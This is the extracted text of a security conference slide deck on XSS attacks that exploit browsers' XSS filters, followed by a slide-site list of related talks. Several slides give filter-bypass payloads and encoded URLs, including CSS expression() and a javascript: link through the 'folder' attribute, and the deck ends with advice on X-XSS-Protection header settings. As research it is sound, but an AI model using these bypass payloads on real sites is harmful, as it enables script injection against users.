<p style=v:expression&#x28;alert&#x28;1))>s: URL: ?q=<p+style=v:expression%26bx28%3Balert%26b x28%3B1))>s:&v%0A%0Ab%0A%0A%0A%0A%0As:&v%0 A%0A%0A%0Ab%0A%0A%0As: Then… After cut-off Bypass 1: expression()
<p style=v:expression&#x28;alert&#x28;1))>s: URL: ?q=<p+style=v:expression%26bx28%3Balert%26b x28%3B1))>s:&v%0A%0Ab%0A%0A%0A%0A%0As:&v%0 A%0A%0A%0Ab%0A%0A%0As: Bypass 1: expression()
Bypass 2: <a folder> https://html5sec.org/#36 <a folder="javascript:alert(1)" style="behavior:url(#default#Anch orClick)">Click</a> In the following, it can create the link for javascript:. (Document mode of IE8- is necessary.) Thanks, Mario!:)
URL: ?q=<a+folder="jav%26bx41%3Bscript:alert(1)" +style="behavior:url%26bx28%3B%23default%23 AnchorClick)"s:>Click&v%0Ab%0As%0A:&v%0A%0 Ab%0A%0A%0A%0A%0As: <a folder="jav&bx41;script:alert(1)" style="behavior:url&bx28;#default#AnchorClic k)"s:>Click Before cut-off Bypass 2: <a folder>
URL: ?q=<a+folder="jav%26bx41%3Bscript:alert(1)" +style="behavior:url%26bx28%3B%23default%23 AnchorClick)"s:>Click&v%0Ab%0As%0A:&v%0A%0 Ab%0A%0A%0A%0A%0As: <a folder="jav&#x41;script:alert(1)" style="behavior:url&#x28;#default#AnchorClic k)"s:>Click When the link which the filter created is clicked.. After cut-off Bypass 2: <a folder>
URL: ?q=<a+folder="jav%26bx41%3Bscript:alert(1)" +style="behavior:url%26bx28%3B%23default%23 AnchorClick)"s:>Click&v%0Ab%0As%0A:&v%0A%0 Ab%0A%0A%0A%0A%0As: <a folder="jav&#x41;script:alert(1)" style="behavior:url&#x28;#default#AnchorClic k)"s:>Click After cut-off Bypass 2: <a folder>
http://l0.cm/xxn/ The test page of all methods. It includes methods which I didn't introduce.
Overcome the Nightmare
X-XSS-Protection Value Effect 0 Disable 1 Enable (Partial rewrite) 1;mode=block Enable (Prevent rendering of the page) Default It can control function of XSS protection.
Default is partial rewrite It rewrites only problem part. It seems to be good for developers. That, ➡ How should site administrator do? It produce possibility of attack which I introduced.
How are careful persons doing?
HTTP/2.0 200 OK Date: Mon, 19 Oct 2015 22:32:06 GMT Content-Type: text/html; charset=UTF-8 Content-Encoding: gzip Server: gws X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN ...
HTTP/1.1 200 OK Content-Encoding: gzip Content-Type: text/html Date: Mon, 19 Oct 2015 22:40:37 GMT x-content-type-options: nosniff X-Frame-Options: DENY X-XSS-Protection: 0 ...
The choice which considered more safety Value Sites which should choose header 0 They are measuring basic XSS. /They want to remove false-negative. 1 Not recommended (Discovered technique affects here.) 1;mode =block It is probable that the site have XSS. /They want to protect site just in case. Default X-XSS-Protection:0 or 1;mode=block
Is mode=block safe? It should don't affect direct script execution. I think a favor of the filter is bigger than it. If feature of cut-off can detect from outside, they may guess page contents. This possibility probably can't be changes to zero. On the other hand…
Do you want to use no X-XSS-Protection? Then, you should do as follows: If you can do those, From the first, you don't create normal XSS! ✔ you should completely grasp XSS filter's cut- off action. ✔ If the part of the page is rewritten, you should inspect all page for normal operation and safety. ✔ If the page includes dangerous part, you should rewrite the code one by one for avoidance.
In fact In some case, it is possible to not operate specific function from intentional false positive. (…) Did the author of XSS filter introduce XSS filter while recognizing about the risks? (or not) I’m interested a little about it. Mr. Terada's blog http://d.hatena.ne.jp/teracc/2 0090622 Browser side introduced it, knowing the risk. Mr. Terada and Mr. Hasegawa's log at 6 years ago is as follows:
In fact http://b.hatena.ne.jp/entry/14131603/comment/hasegawayosuke Insider said "The answer is Yes. ". Mr. Hasegawa Browser side introduced it, knowing the risk. Mr. Terada and Mr. Hasegawa's log at 6 years ago is as follows: ➡ When you become careful, you should add the header. This is an old story！
Conclusions I'm hoping for improvement of XSS filter. It should still be possible to do safely. Is present default action really OK? In theory, cut-off risk is inseparable from XSS filter. I want web developer to know this possibility. I highly recommend XSS protection control except default action.
";alert#"Thanks!"#// @kinugawamasato masatokinugawa@gmail#com http://l0.cm/xxn/DEMO

More Related Content

PDF
XSS Magic tricks
byGarethHeyes
 
PDF
Building Advanced XSS Vectors
byRodolfo Assis (Brute)
 
PDF
Neat tricks to bypass CSRF-protection
byMikhail Egorov
 
PPTX
XSS - Do you know EVERYTHING?
byYurii Bilyk
 
PDF
OWASP AppSecEU 2018 – Attacking "Modern" Web Technologies
byFrans Rosén
 
PDF
Bug Bounty Hunter Methodology - Nullcon 2016
bybugcrowd
 
PDF
Live Hacking like a MVH – A walkthrough on methodology and strategies to win big
byFrans Rosén
 
PDF
What should a hacker know about WebDav?
byMikhail Egorov
 
XSS Magic tricks
byGarethHeyes
 
Building Advanced XSS Vectors
byRodolfo Assis (Brute)
 
Neat tricks to bypass CSRF-protection
byMikhail Egorov
 
XSS - Do you know EVERYTHING?
byYurii Bilyk
 
OWASP AppSecEU 2018 – Attacking "Modern" Web Technologies
byFrans Rosén
 
Bug Bounty Hunter Methodology - Nullcon 2016
bybugcrowd
 
Live Hacking like a MVH – A walkthrough on methodology and strategies to win big
byFrans Rosén
 
What should a hacker know about WebDav?
byMikhail Egorov
 

What's hot

PDF
The Secret Life of a Bug Bounty Hunter – Frans Rosén @ Security Fest 2016
byFrans Rosén
 
PPTX
XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015
byCODE BLUE
 
PPTX
Attacking thru HTTP Host header
bySergey Belov
 
PDF
Cross site scripting (xss) attacks issues and defense - by sandeep kumbhar
bySandeep Kumbhar
 
PPTX
Going Beyond Microsoft IIS Short File Name Disclosure - NahamCon 2023 Edition
bySoroush Dalili
 
PPTX
Deep understanding on Cross-Site Scripting and SQL Injection
byVishal Kumar
 
PDF
Cross site scripting attacks and defenses
byMohammed A. Imran
 
PDF
Frans Rosén Keynote at BSides Ahmedabad
bySecurity BSides Ahmedabad
 
PPTX
WAF Bypass Techniques - Using HTTP Standard and Web Servers’ Behaviour
bySoroush Dalili
 
PPTX
HTTP HOST header attacks
byDefconRussia
 
PDF
How to steal and modify data using Business Logic flaws - Insecure Direct Obj...
byFrans Rosén
 
PDF
Cross site scripting
byn|u - The Open Security Community
 
PDF
Cross Site Scripting Going Beyond the Alert Box
byAaron Weaver
 
PPTX
Pentesting ReST API
byNutan Kumar Panda
 
PDF
AEM hacker - approaching Adobe Experience Manager webapps in bug bounty programs
byMikhail Egorov
 
PPT
Cross Site Request Forgery
byTony Bibbs
 
PDF
HTTP Parameter Pollution Vulnerabilities in Web Applications (Black Hat EU 2011)
byMarco Balduzzi
 
PPTX
Dom based xss
byLê Giáp
 
PPTX
Getting Started with API Security Testing
bySmartBear
 
PPTX
OWASP AppSecCali 2015 - Marshalling Pickles
byChristopher Frohoff
 
The Secret Life of a Bug Bounty Hunter – Frans Rosén @ Security Fest 2016
byFrans Rosén
 
XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015
byCODE BLUE
 
Attacking thru HTTP Host header
bySergey Belov
 
Cross site scripting (xss) attacks issues and defense - by sandeep kumbhar
bySandeep Kumbhar
 
Going Beyond Microsoft IIS Short File Name Disclosure - NahamCon 2023 Edition
bySoroush Dalili
 
Deep understanding on Cross-Site Scripting and SQL Injection
byVishal Kumar
 
Cross site scripting attacks and defenses
byMohammed A. Imran
 
Frans Rosén Keynote at BSides Ahmedabad
bySecurity BSides Ahmedabad
 
WAF Bypass Techniques - Using HTTP Standard and Web Servers’ Behaviour
bySoroush Dalili
 
HTTP HOST header attacks
byDefconRussia
 
How to steal and modify data using Business Logic flaws - Insecure Direct Obj...
byFrans Rosén
 
Cross site scripting
byn|u - The Open Security Community
 
Cross Site Scripting Going Beyond the Alert Box
byAaron Weaver
 
Pentesting ReST API
byNutan Kumar Panda
 
AEM hacker - approaching Adobe Experience Manager webapps in bug bounty programs
byMikhail Egorov
 
Cross Site Request Forgery
byTony Bibbs
 
HTTP Parameter Pollution Vulnerabilities in Web Applications (Black Hat EU 2011)
byMarco Balduzzi
 
Dom based xss
byLê Giáp
 
Getting Started with API Security Testing
bySmartBear
 
OWASP AppSecCali 2015 - Marshalling Pickles
byChristopher Frohoff
 

Similar to X-XSS-Nightmare: 1; mode=attack XSS Attacks Exploiting XSS Filter

ODP
XSS
byHrishikesh Mishra
 
PDF
The innerHTML Apocalypse
byMario Heiderich
 
PDF
주로사용되는 Xss필터와 이를 공격하는 방법
byguestad13b55
 
PPT
introduction to html and cssIntroHTML.ppt
bySherifElGohary7
 
PPT
introduction to html and cssIntroHTML.ppt
bySherifElGohary7
 
PPT
Html introduction and ppt about html introduction
byarslanrewa123
 
PPT
IntroHTMLgob naftaan jeclaa gab naftaan ku ahaa gabdho taan ka xushaay gudc...
byHilalofficial1
 
PPT
HTML.ppt
byHatemMagdyMohamed
 
PPT
htmlfbfbfdbdbdfbfdbfdgfdbfdbdfbdfbbfbdfbdfb
byjitendra kumar chauhan
 
PDF
Html Tags
byRodel Barcenas
 
PDF
Bypassing Web Application Firewalls and other security filters
byNetsparker
 
PDF
EN - BlackHat US 2009 favorite XSS Filters-IDS and how to attack them.pdf
byGiorgiRcheulishvili
 
PDF
The Ultimate IDS Smackdown
byMario Heiderich
 
PDF
A XSSmas carol
bycgvwzq
 
PPTX
Html basics
byphp Roots
 
DOCX
Html
byphp Roots
 
PPTX
Web page_mayette
bymayettesapungan
 
PPTX
Web page development (day1)
bymayettesapungan
 
PPTX
Web page development (day1)
bymayettesapungan
 
PPT
IntroHTML.ppt
byHatemMagdyMohamed
 
XSS
byHrishikesh Mishra
 
The innerHTML Apocalypse
byMario Heiderich
 
주로사용되는 Xss필터와 이를 공격하는 방법
byguestad13b55
 
introduction to html and cssIntroHTML.ppt
bySherifElGohary7
 
introduction to html and cssIntroHTML.ppt
bySherifElGohary7
 
Html introduction and ppt about html introduction
byarslanrewa123
 
IntroHTMLgob naftaan jeclaa gab naftaan ku ahaa gabdho taan ka xushaay gudc...
byHilalofficial1
 
HTML.ppt
byHatemMagdyMohamed
 
htmlfbfbfdbdbdfbfdbfdgfdbfdbdfbdfbbfbdfbdfb
byjitendra kumar chauhan
 
Html Tags
byRodel Barcenas
 
Bypassing Web Application Firewalls and other security filters
byNetsparker
 
EN - BlackHat US 2009 favorite XSS Filters-IDS and how to attack them.pdf
byGiorgiRcheulishvili
 
The Ultimate IDS Smackdown
byMario Heiderich
 
A XSSmas carol
bycgvwzq
 
Html basics
byphp Roots
 
Html
byphp Roots
 
Web page_mayette
bymayettesapungan
 
Web page development (day1)
bymayettesapungan
 
Web page development (day1)
bymayettesapungan
 
IntroHTML.ppt
byHatemMagdyMohamed
 

More from Masato Kinugawa

PDF
バグハンターの哀しみ
byMasato Kinugawa
 
PDF
X-XSS-Nightmare: 1; mode=attack ～XSSフィルターを利用したXSS攻撃～
byMasato Kinugawa
 
PPTX
SecurityCamp2015「バグハンティング入門」
byMasato Kinugawa
 
PPTX
見つけた脆弱性について(cybozu.com Security Challenge)
byMasato Kinugawa
 
PDF
いでよ、電卓！
byMasato Kinugawa
 
PDF
Bug-hunter's Sorrow
byMasato Kinugawa
 
PPTX
SecurityCamp2015「CVE-2015-4483解説」
byMasato Kinugawa
 
バグハンターの哀しみ
byMasato Kinugawa
 
X-XSS-Nightmare: 1; mode=attack ～XSSフィルターを利用したXSS攻撃～
byMasato Kinugawa
 
SecurityCamp2015「バグハンティング入門」
byMasato Kinugawa
 
見つけた脆弱性について(cybozu.com Security Challenge)
byMasato Kinugawa
 
いでよ、電卓！
byMasato Kinugawa
 
Bug-hunter's Sorrow
byMasato Kinugawa
 
SecurityCamp2015「CVE-2015-4483解説」
byMasato Kinugawa
 

Recently uploaded

PDF
Cheryl Hung, Vibe Coding Auth Without Melting Down! isaqb Software Architectu...
byCheryl Hung
 
PDF
Mulesoft Meetup Online Portuguese: MCP e IA
byPedro Baroni
 
PDF
[BDD 2025 - Full-Stack Development] The Modern Stack: Building Web & AI Appli...
byWintari Yasmin
 
PDF
PCCC25（設立25年記念PCクラスタシンポジウム）：エヌビディア合同会社 テーマ２「NVIDIA BlueField-4 DPU」
byPC Cluster Consortium
 
PDF
Open Source Post-Quantum Cryptography - Matt Caswell
byAll Things Open
 
PDF
How Much Does It Cost to Build an eCommerce Website in 2025.pdf
byPixlogix Infotech
 
PDF
Transforming Content Operations in the Age of AI
byEnterprise Knowledge
 
PDF
[BDD 2025 - Artificial Intelligence] Building AI Systems That Users (and Comp...
byWintari Yasmin
 
PDF
Top Crypto Supers 15th Report November 2025
byStephen Perrenod
 
PDF
Mastering UiPath Maestro – Session 2 – Building a Live Use Case - Session 2
byDianaGray10
 
PPTX
"Feelings versus facts: why metrics are more important than intuition", Igor ...
byFwdays
 
PDF
The Necessity of Digital Forensics, the Digital Forensics Process & Laborator...
bychrstnpetwinchester
 
PPTX
The power of Slack and MuleSoft | Bangalore MuleSoft Meetup #60
byshyamraj55
 
PDF
Mastering Agentic Orchestration with UiPath Maestro | Hands on Workshop
byUiPathCommunity
 
PDF
Transcript: The partnership effect: Libraries and publishers on collaborating...
byBookNet Canada
 
PDF
So You Want to Work at Google | DevFest Seattle 2025
byMargaret Maynard-Reid
 
PDF
The Evolving Role of the CEO in the Age of AI
byPipal Tree Services Executive Search Firm
 
PDF
10 Best Automation QA Testing Software Tools in 2025.pdf
byRohitBhandari66
 
PPTX
kernel PPT (Explanation of Windows Kernal).pptx
byINFOBYTES1
 
PDF
How Much Does It Cost To Build Software
bycollinmishell2
 
Cheryl Hung, Vibe Coding Auth Without Melting Down! isaqb Software Architectu...
byCheryl Hung
 
Mulesoft Meetup Online Portuguese: MCP e IA
byPedro Baroni
 
[BDD 2025 - Full-Stack Development] The Modern Stack: Building Web & AI Appli...
byWintari Yasmin
 
PCCC25（設立25年記念PCクラスタシンポジウム）：エヌビディア合同会社 テーマ２「NVIDIA BlueField-4 DPU」
byPC Cluster Consortium
 
Open Source Post-Quantum Cryptography - Matt Caswell
byAll Things Open
 
How Much Does It Cost to Build an eCommerce Website in 2025.pdf
byPixlogix Infotech
 
Transforming Content Operations in the Age of AI
byEnterprise Knowledge
 
[BDD 2025 - Artificial Intelligence] Building AI Systems That Users (and Comp...
byWintari Yasmin
 
Top Crypto Supers 15th Report November 2025
byStephen Perrenod
 
Mastering UiPath Maestro – Session 2 – Building a Live Use Case - Session 2
byDianaGray10
 
"Feelings versus facts: why metrics are more important than intuition", Igor ...
byFwdays
 
The Necessity of Digital Forensics, the Digital Forensics Process & Laborator...
bychrstnpetwinchester
 
The power of Slack and MuleSoft | Bangalore MuleSoft Meetup #60
byshyamraj55
 
Mastering Agentic Orchestration with UiPath Maestro | Hands on Workshop
byUiPathCommunity
 
Transcript: The partnership effect: Libraries and publishers on collaborating...
byBookNet Canada
 
So You Want to Work at Google | DevFest Seattle 2025
byMargaret Maynard-Reid
 
The Evolving Role of the CEO in the Age of AI
byPipal Tree Services Executive Search Firm
 
10 Best Automation QA Testing Software Tools in 2025.pdf
byRohitBhandari66
 
kernel PPT (Explanation of Windows Kernal).pptx
byINFOBYTES1
 
How Much Does It Cost To Build Software
bycollinmishell2
 

X-XSS-Nightmare: 1; mode=attack XSS Attacks Exploiting XSS Filter